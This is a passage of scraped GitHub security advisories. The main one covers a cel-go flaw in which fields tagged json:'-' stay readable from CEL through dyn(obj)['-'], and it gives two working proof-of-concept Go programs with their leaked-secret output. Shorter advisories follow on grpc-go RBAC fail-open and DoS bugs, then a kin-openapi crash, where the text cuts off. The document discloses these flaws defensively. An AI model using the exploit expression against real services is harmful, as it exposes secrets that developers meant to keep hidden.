See at ext/native.go:663:
if fieldNameHandler != nil {
fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ {
field := refType.Field(idx)
fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found {
return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
} else {
fieldNames[fieldName] = struct{}{}
}
}
}
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at ext/native.go:286:
func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
if t, found := tp.nativeTypes[typeName]; found {
fieldCount := t.refType.NumField()
fields := make([]string, fieldCount)
for i := 0; i < fieldCount; i++ {
fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
}
return fields, true
}
if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
return celTypeFields, true
}
return tp.baseProvider.FindStructFieldNames(typeName)
}
Field lookup also treats the name as valid and returns the underlying Go field value.
See at ext/native.go:303:
func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
t, found := tp.nativeTypes[typeName]
if !found {
return tp.baseProvider.FindStructFieldType(typeName, fieldName)
}
refField, isDefined := t.hasField(fieldName)
if !found || !isDefined {
return nil, false
}
return &types.FieldType{
IsSet: func(obj any) bool {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return !refField.IsZero()
},
GetFrom: func(obj any) (any, error) {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return getFieldValue(refField), nil
},
}, true
}
At runtime, native objects advertise index access.
See at ext/native.go:37:
var (
nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)
Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:
dyn(req.auth)["-"]
The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at ext/native.go:501:
case jsonStructType:
refVal := reflect.Indirect(o.refValue)
refType := refVal.Type()
fields := make(map[string]*structpb.Value, refVal.NumField())
for i := 0; i < refVal.NumField(); i++ {
fieldType := refType.Field(i)
fieldValue := refVal.Field(i)
if !fieldValue.IsValid() || fieldValue.IsZero() {
continue
}
fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
fieldCELVal := o.NativeToValue(fieldValue.Interface())
fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
if err != nil {
return nil, err
}
fields[fieldName] = fieldJSONVal.(*structpb.Value)
}
return &structpb.Struct{Fields: fields}, nil
This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.
The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.
See at ext/native.go:609:
func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
nt, err := newNativeType(fieldNameHandler, rawType)
if err != nil {
return nil, err
}
result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type)
iterateStructMembers = func(t reflect.Type) {
if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
iterateStructMembers(t.Elem())
return
}
if t.Kind() != reflect.Struct {
return
}
nt, ntErr := newNativeType(fieldNameHandler, t)
if ntErr != nil {
err = ntErr
return
}
result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ {
iterateStructMembers(t.Field(idx).Type)
}
}
iterateStructMembers(rawType)
return result, err
}
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.
Reproduction
package main
import (
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
)
// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
UserID string `json:"userId"`
Secret string `json:"-"` // server-internal; never appears in JSON output
}
// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
// Only Req is passed; AuthCtx is registered silently by newNativeTypes.
ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.Req")),
)
ast, _ := env.Compile(`dyn(req.auth)["-"]`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
fmt.Println(out) // sk-live-s3cr3t
}
Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.
The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.
path 1. CEL indexing
Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:
require github.com/google/cel-go v0.28.1
Running the PoC above (go run main.go) produces:
sk-live-s3cr3t
The secret value is returned verbatim, with no error at compile time or at runtime.
Path 2. ConvertToNative(jsonStructType)
When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".
package main
import (
"encoding/json"
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb"
)
type AuthCtxConv struct {
UserID string `json:"userId"`
Secret string `json:"-"` // should never appear in JSON output
}
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.ReqConv")),
)
ast, _ := env.Compile(`req.auth`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
jsonStructType := reflect.TypeOf(&structpb.Struct{})
raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct)
b, _ := json.MarshalIndent(st.AsMap(), "", " ")
fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
if v, ok := st.Fields["-"]; ok {
fmt.Printf("Value: %s\n", v.GetStringValue())
}
}
Running the PoC above produces:
ConvertToNative(jsonStructType) output:
{
"-": "sk-live-s3cr3t",
"userId": "alice"
}
Direct field access via "-" key present: true
Value: sk-live-s3cr3t
The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.
Impact
Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
Remediation
Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in
newNativeType - field enumeration in
FindStructFieldNames - field type lookup in
FindStructFieldType - runtime lookup in
fieldByName/hasField - object construction in
NewValue - JSON conversion in
ConvertToNative(jsonStructType)
Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/google/cel-go"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-495"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:48:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n return func(field reflect.StructField) string {\n tag, found := field.Tag.Lookup(structTagToParse)\n if found {\n splits := strings.Split(tag, \",\")\n if len(splits) \u003e 0 {\n // We make the assumption that the leftmost entry in the tag is the name.\n // This seems to be true for most tags that have the concept of a name/key, such as:\n // https://pkg.go.dev/encoding/xml#Marshal\n // https://pkg.go.dev/encoding/json#Marshal\n // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n name := splits[0]\n return name\n }\n }\n\n return field.Name\n }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n return func(ntp *nativeTypeOptions) error {\n ntp.fieldNameHandler = fieldNameByTag(tag)\n return nil\n }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n fieldNames := make(map[string]struct{})\n\n for idx := 0; idx \u003c refType.NumField(); idx++ {\n field := refType.Field(idx)\n fieldName := toFieldName(fieldNameHandler, field)\n\n if _, found := fieldNames[fieldName]; found {\n return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n } else {\n fieldNames[fieldName] = struct{}{}\n }\n }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n if t, found := tp.nativeTypes[typeName]; found {\n fieldCount := t.refType.NumField()\n fields := make([]string, fieldCount)\n for i := 0; i \u003c fieldCount; i++ {\n fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n }\n return fields, true\n }\n if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n return celTypeFields, true\n }\n return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n t, found := tp.nativeTypes[typeName]\n if !found {\n return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n }\n refField, isDefined := t.hasField(fieldName)\n if !found || !isDefined {\n return nil, false\n }\n\n return \u0026types.FieldType{\n IsSet: func(obj any) bool {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return !refField.IsZero()\n },\n GetFrom: func(obj any) (any, error) {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return getFieldValue(refField), nil\n },\n }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n refVal := reflect.Indirect(o.refValue)\n refType := refVal.Type()\n fields := make(map[string]*structpb.Value, refVal.NumField())\n for i := 0; i \u003c refVal.NumField(); i++ {\n fieldType := refType.Field(i)\n fieldValue := refVal.Field(i)\n if !fieldValue.IsValid() || fieldValue.IsZero() {\n continue\n }\n fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n fieldCELVal := o.NativeToValue(fieldValue.Interface())\n fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n if err != nil {\n return nil, err\n }\n fields[fieldName] = fieldJSONVal.(*structpb.Value)\n }\n return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n nt, err := newNativeType(fieldNameHandler, rawType)\n if err != nil {\n return nil, err\n }\n result := []*nativeType{nt}\n\n var iterateStructMembers func(reflect.Type)\n iterateStructMembers = func(t reflect.Type) {\n if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n iterateStructMembers(t.Elem())\n return\n }\n if t.Kind() != reflect.Struct {\n return\n }\n\n nt, ntErr := newNativeType(fieldNameHandler, t)\n if ntErr != nil {\n err = ntErr\n return\n }\n result = append(result, nt)\n\n for idx := 0; idx \u003c t.NumField(); idx++ {\n iterateStructMembers(t.Field(idx).Type)\n }\n }\n iterateStructMembers(rawType)\n\n return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n )\n ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible. \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n\n structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n )\n\n ast, _ := env.Compile(`req.auth`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n\n jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n raw, _ := out.ConvertToNative(jsonStructType)\n\n st := raw.(*structpb.Struct)\n b, _ := json.MarshalIndent(st.AsMap(), \"\", \" \")\n fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n if v, ok := st.Fields[\"-\"]; ok {\n fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n \"-\": \"sk-live-s3cr3t\",\n \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
"id": "GHSA-gcjh-h69q-9w9g",
"modified": "2026-07-24T16:48:56Z",
"published": "2026-07-24T16:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/cel-expr/cel-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}
GHSA-HRXH-6V49-42GF
Vulnerability from github – Published: 2026-07-21 22:03 – Updated: 2026-07-21 22:03Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
MetadataorRequestedServerNamefields. - Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOTrules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permissionandprincipalrules (specificallyMetadataandRequestedServerName) were silently ignored and treated as no-ops. - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOTrules (Permission_NotRule/Principal_NotId) or multi-conditionOR/ANDrules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGSACKs or server-initiatedRST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOTrule wrapped an unsupported or unhandled field (such asSourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata,RequestedServerName, orNOTrules wrapping unsupported fields (such asSourcedMetadata) to grpc-go servers. - For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streamslimits and active rate limiting onRST_STREAMfrequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|---|---|---|
| xDS RBAC Authorization Bypass | High | 8.2 |
Unauthorized Access / Fail-Open |
| HTTP/2 Rapid Reset DOS Bypass | High | 7.5 |
High CPU Consumption / Denial of Service |
| xDS RBAC Engine Server Panic | Medium | 5.9 |
Process Crash / Denial of Service |
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "google.golang.org/grpc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.82.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-770",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:03:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |",
"id": "GHSA-hrxh-6v49-42gf",
"modified": "2026-07-21T22:03:56Z",
"published": "2026-07-21T22:03:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/pull/9236"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935"
},
{
"type": "PACKAGE",
"url": "https://github.com/grpc/grpc-go"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/releases/tag/v1.82.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities"
}
GHSA-JPCW-4WR7-C3VQ
Vulnerability from github – Published: 2026-07-24 22:39 – Updated: 2026-07-24 22:39| Field | Value |
|---|---|
| Ecosystem | Go |
| Package | github.com/getkin/kin-openapi |
| Affected versions | <= 0.143.0 (introduced in v0.2.0, PR #90, 2019-05-07; reproduced on HEAD 30e2923) |
| Patched versions | 0.144.0 |
| --- |
Summary
openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.
Details
The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.
openapi3filter/req_resp_decoder.go, around line 197:
